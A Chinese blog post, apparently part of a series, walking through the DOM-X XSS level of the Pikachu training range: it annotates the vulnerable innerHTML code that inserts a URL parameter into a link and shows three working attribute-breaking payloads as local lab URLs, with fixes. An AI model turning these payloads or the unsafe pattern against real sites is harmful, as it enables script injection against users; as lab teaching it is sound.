pikachu靶场通关笔记09 XSS关卡05-DOM型XSS-X

最新推荐文章于 2025-06-04 09:04:06 发布

mooyuan天天

最新推荐文章于 2025-06-04 09:04:06 发布

阅读量1.1k

点赞数 17

CC 4.0 BY-SA版权

分类专栏： pikachu靶场文章标签： web安全 pikachu靶场 XSS漏洞 DOM型XSS

本文链接：https://blog.youkuaiyun.com/mooyuan/article/details/147659970

pikachu靶场专栏收录该内容

45 篇文章

订阅专栏

五、DOM型XSS与DOM-X型XSS区别

本系列为通过《pikachu靶场通关笔记》的XSS攻击关卡(共10关）渗透集合，通过对XSS关卡源码的代码审计找到真实原因，讲解XSS原理并进行渗透实践，本文为XSS关卡05-DOM-X型XSS的渗透部分，并对比04关DOM型XSS，从源码分析和原理对比两者的区别。

一、XSS

XSS 全称为跨站脚本攻击（Cross - Site Scripting），因其高危害性长期位列OWASP Top 10安全威胁。攻击者通过注入恶意脚本（通常为JavaScript）到网页中，脚本在其浏览器执行。XSS主要分为3种类别，具体如下表所示。

分类	存储型XSS (Stored XSS)	反射型XSS (Reflected XSS)	DOM型XSS (DOM-based XSS)
存储位置	服务器（数据库/文件）	URL参数（不存储）	前端DOM（不经过服务器）
触发方式	用户访问被污染的页面自动执行	用户点击恶意链接后临时反射执行	前端JS操作DOM时动态触发
持久性	长期存在	一次性（需诱导点击）	依赖用户当前页面操作
检测难度	中（需扫描存储内容）	中（需构造恶意URL）	高（需人工审计前端代码）
典型场景	论坛评论、用户资料页	搜索框、错误页面	SPA应用、动态路由
服务端参与	是（存储+返回恶意代码）	是（反射恶意代码）	否（纯前端）
防御重点	输入过滤+输出编码	URL参数消毒+CSP策略	安全的DOM操作+前端验证
修复成本	高（需清理数据库）	中（修改参数处理逻辑）	中（重构前端代码）

二、DOM型XSS

DOM型XSS(DOM-based XSS)是一种纯客户端的跨站脚本攻击，恶意脚本通过前端JavaScript动态操作DOM触发，不经过服务器处理。攻击者利用URL片段（如#<script>alert(1)</script>）或输入字段注入恶意代码，当页面使用innerHTML、eval()或location.hash等危险API解析内容时执行。常见于单页应用（SPA）和动态网页，传统WAF难以检测。与存储型/反射型XSS不同，DOM型完全在浏览器端完成攻击链，是现代化Web应用的高危风险。

分类	DOM型XSS
别名	Type-0 XSS、纯客户端XSS
攻击入口	URL片段（`#`后）、`location.search`、前端输入字段（如`document.getElementById().value`）
触发条件	前端使用危险API动态操作DOM（如`innerHTML`、`document.write`、`eval()`）
数据流	不经过服务器，直接在浏览器端解析执行
攻击特点	绕过服务端检测（WAF无效），依赖前端代码逻辑风险
防御措施	1. 避免`innerHTML`（用`textContent`或`createElement`） 2. 输入消毒（DOMPurify库） 3. CSP策略（禁止内联脚本）
检测难点	需人工审计前端代码，自动化工具易漏检

三、源码分析

1、打开DOM-X型XSS关卡

进入pikachu靶场XSS系列的05关卡 DOM-X型XSS页面，让说出你的伤心往事，具体打如下所示。

http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php

2、XSS探测

输入关键字判断是否有过滤，关键字包括：单引号、双引号、左右尖括号、问号、&、字符串与数字，接下来我们在搜索框输入'"<>?&ljn20241019进行探测，如下所示。

'"<>?&ljn20241019

点击如上链接进入下图界面，发现此时输出的内容与上一步的输入有区别，如下所示。

3、源码分析

查看DOM-X型XSS关卡源码xss_dom.php文件内容，右键源码，CTRL+F搜素关键词上图中出现的关键字“风”，发现一个js函数，利用了DOM将字符串进行了拼接并把值给a标签的href，然后输出，具体如下所示。

这段代码存在DOM-X型 XSS 安全风险，具体的源码经过详细注释后如下所示。

<div class="page-content">
    <div id="xssd_main">
        <script>
            function domxss(){
                var str = window.location.search;// 从URL获取参数
                var txss = decodeURIComponent(str.split("text=")[1]);// 解码URL编码并提取text参数值（危险操作！）
                var xss = txss.replace(/\+/g,' ');// 将+号替换为空格（不影响XSS攻击）
                
                // 直接将用户输入拼接到HTML中（核心注入点）
                document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
            }
            
            // 攻击者可以尝试以下Payload：
            // 1. '><img src="#" onmouseover="alert('xss')">
            // 2. ' onclick="alert('xss')">
        </script>
        
        <!-- 表单提交text参数到当前URL -->
        <form method="get">
            <input id="text" name="text" type="text" value="" />
            <input id="submit" type="submit" value="请说出你的伤心往事"/>
        </form>
        
        <!-- 恶意代码将注入到这个DOM节点 -->
        <div id="dom"></div>
    </div>
</div>

分析可知本关卡JS代码定义了一个domxss函数，它利用 window.location.search 获取浏览器中URL的内容，然后赋值给str，然后经过URL解码和字符串分隔，取出URL中的参数内容。再把 “+” 替换为 “ ”（空格），赋值给 xss，最后把 xss拼接到 a 标签中，然后写到 Id 为 dom 的 div 标签中。函数的执行流程如下所示。

步骤	代码	作用	风险
1	`window.location.search`	获取URL中`?`后的查询字符串（如`?text=payload`）	直接暴露用户可控输入
2	`str.split("text=")[1]`	提取`text`参数的值（未检查参数是否存在）	若`text`不存在会导致`undefined`错误
3	`decodeURIComponent()`	解码URL编码字符（如`%3C`恢复为`<`）	还原可能含有的恶意代码
4	`replace(/\+/g, ' ')`	将`+`号替换为空格（URL中空格可能被编码为`+`）	不影响XSS攻击
5	`innerHTML = "<a href='"+xss+"'>`	动态生成`<a>`标签，用户输入直接拼接到`href`属性	未转义字符导致DOM-XSS风险

本关卡的根源在于不可信数据未经验证直接插入DOM，关键代码如下所示。

function domxss() {
    // 获取当前URL的查询参数（如 ?text=恶意代码）
    var str = window.location.search;
    
    // 提取text参数值并解码URL编码
    var txss = decodeURIComponent(str.split("text=")[1]);
    
    // 将+号替换为空格（处理URL中空格被编码为+的情况）
    var xss = txss.replace(/\+/g, ' ');
    
    // 将用户输入拼接到<a>标签的href属性中，并插入DOM
    document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}

四、渗透实战

渗透的方法是通过<a href='"+xss+"'>就让往事都随风,都随风吧</a>构成闭合，对比DOM型XSS关卡的闭合参数如下所示。

DOM-X型：<a href='"+xss+"'>就让往事都随风,都随风吧</a>
DOM型：  <a href='"+str+"'>what do you see?</a>

1、Payload1

payload1: #' οnclick=alert("ljn")>

#' onclick=alert("ljn")>

闭合后：<a href='#' οnclick="alert("ljn")">'>就让往事都随风,都随风吧</a>

点击请说出你的伤心事后，下方生成链接，URL地址如下所示。

http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=%23%27+onclick%3Dalert%28%22ljn%22%29%3E#

经过URL decode后的完整URL链接如下所示。

http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=#'+onclick=alert("ljn")>#

点击链接后，弹框ljn，接下来进行如下分析：右键元素-点击查看器-Ctrl+F搜索关键字“风”，如下所示。

2、Payload2

payload3: ' οnclick="alert('ljn')">

' onclick="alert('ljn')">

闭合后：<a href οnclick="alert('ljn')"> >'就让往事都随风,都随风吧</a>

如上所示，点击请说出你的伤心事后，下方生成链接，URL地址如下所示。

http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=%27+onclick%3D%22alert%28%27ljn%27%29%22%3E

经过URL decode后的完整URL链接如下所示。

http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text='+onclick="alert('ljn')">

点击链接，弹出“ljn”，XSS攻击成功，如下所示。

3、Payload3

payload3: '><img src="#" οnmοuseοver="alert('ljn')">

 '><img src="#" onmouseover="alert('ljn')">

闭合后：<a href><img src="#" οnmοuseοver="alert('ljn')">'>就让往事都随风,都随风吧</a>

再次点击“有些费尽心机想要忘记的事情,后来真的就忘掉了”的URL链接。

http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=%27%3E%3Cimg+src%3D%22%23%22+onmouseover%3D%22alert%28%27ljn%27%29%22%3E

经过URL decode后的完整URL链接如下所示。

http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text='><img+src="#"+onmouseover="alert('ljn')">

点击链接后生成如下界面，注意红框处是一个图表，鼠标放到下图红框处就可以弹框。

鼠标放到上图红框部分，即可弹框“ljn”，说明渗透成功，具体如下所示。

五、DOM型XSS与DOM-X型XSS区别

第四关DOM型XSS关键代码如下所示，参数从表单获取。

var str = document.getElementById("text").value; // 从页面表单获取用户输入 
// 将用户输入拼接到<a>标签的href属性中，并插入DOM       
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";

第五关DOM-X型XSS关键代码如下所示，参数从URL种获取。

var str = window.location.search;// 获取当前URL的查询参数（如 ?text=恶意代码）
var txss = decodeURIComponent(str.split("text=")[1]); // 提取text参数值并解码URL编码
var xss = txss.replace(/\+/g, ' ');// 将+号替换为空格（比如处理URL中空格被编码为+的情况）
 
// 将用户输入拼接到<a>标签的href属性中，并插入DOM
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧

分析可知相比DOM型的XSS，DOM-X型XSS危害更大，因为它能够像反射型一样在URL中体现，将URL发给了受害者就能进行攻击，两者详细区别如下所示。

对比维度	`dom-x xss关卡` 函数（第五关）	`dom xss` 函数（第四关）
输入来源	从window.location.search获取URL参数（如`?text=脚本`）	从document.getElementById("text").value获取表单输入值
触发方式	页面加载时自动执行（需直接访问含恶意参数的URL）	需要用户手动输入内容并点击按钮触发
攻击复杂度	低（攻击者只需构造恶意URL）	中（需要诱导用户在输入框输入恶意内容并点击）
利用场景	通过钓鱼链接传播	需要用户主动在页面交互
参数处理	自动解码URL编码（decodeURIComponent）	直接使用原始输入（未解码URL编码）
代码相似点	均使用`innerHTML`直接拼接未过滤的用户输入到DOM	均使用`innerHTML`直接拼接未过滤的用户输入到DOM
典型攻击Payload	`?text='><img src=x onerror=alert(1)>`	输入框输入：`'><img src=x onerror=alert(1)>`
防御难度	更难防御（URL参数可能被各种工具自动编码/解码）	较易防御（可通过前端输入检查拦截）
修复建议	1. 使用`textContent`替代`innerHTML` 2. 严格校验URL参数	1. 使用`textContent` 2. 表单输入时实时过滤特殊字符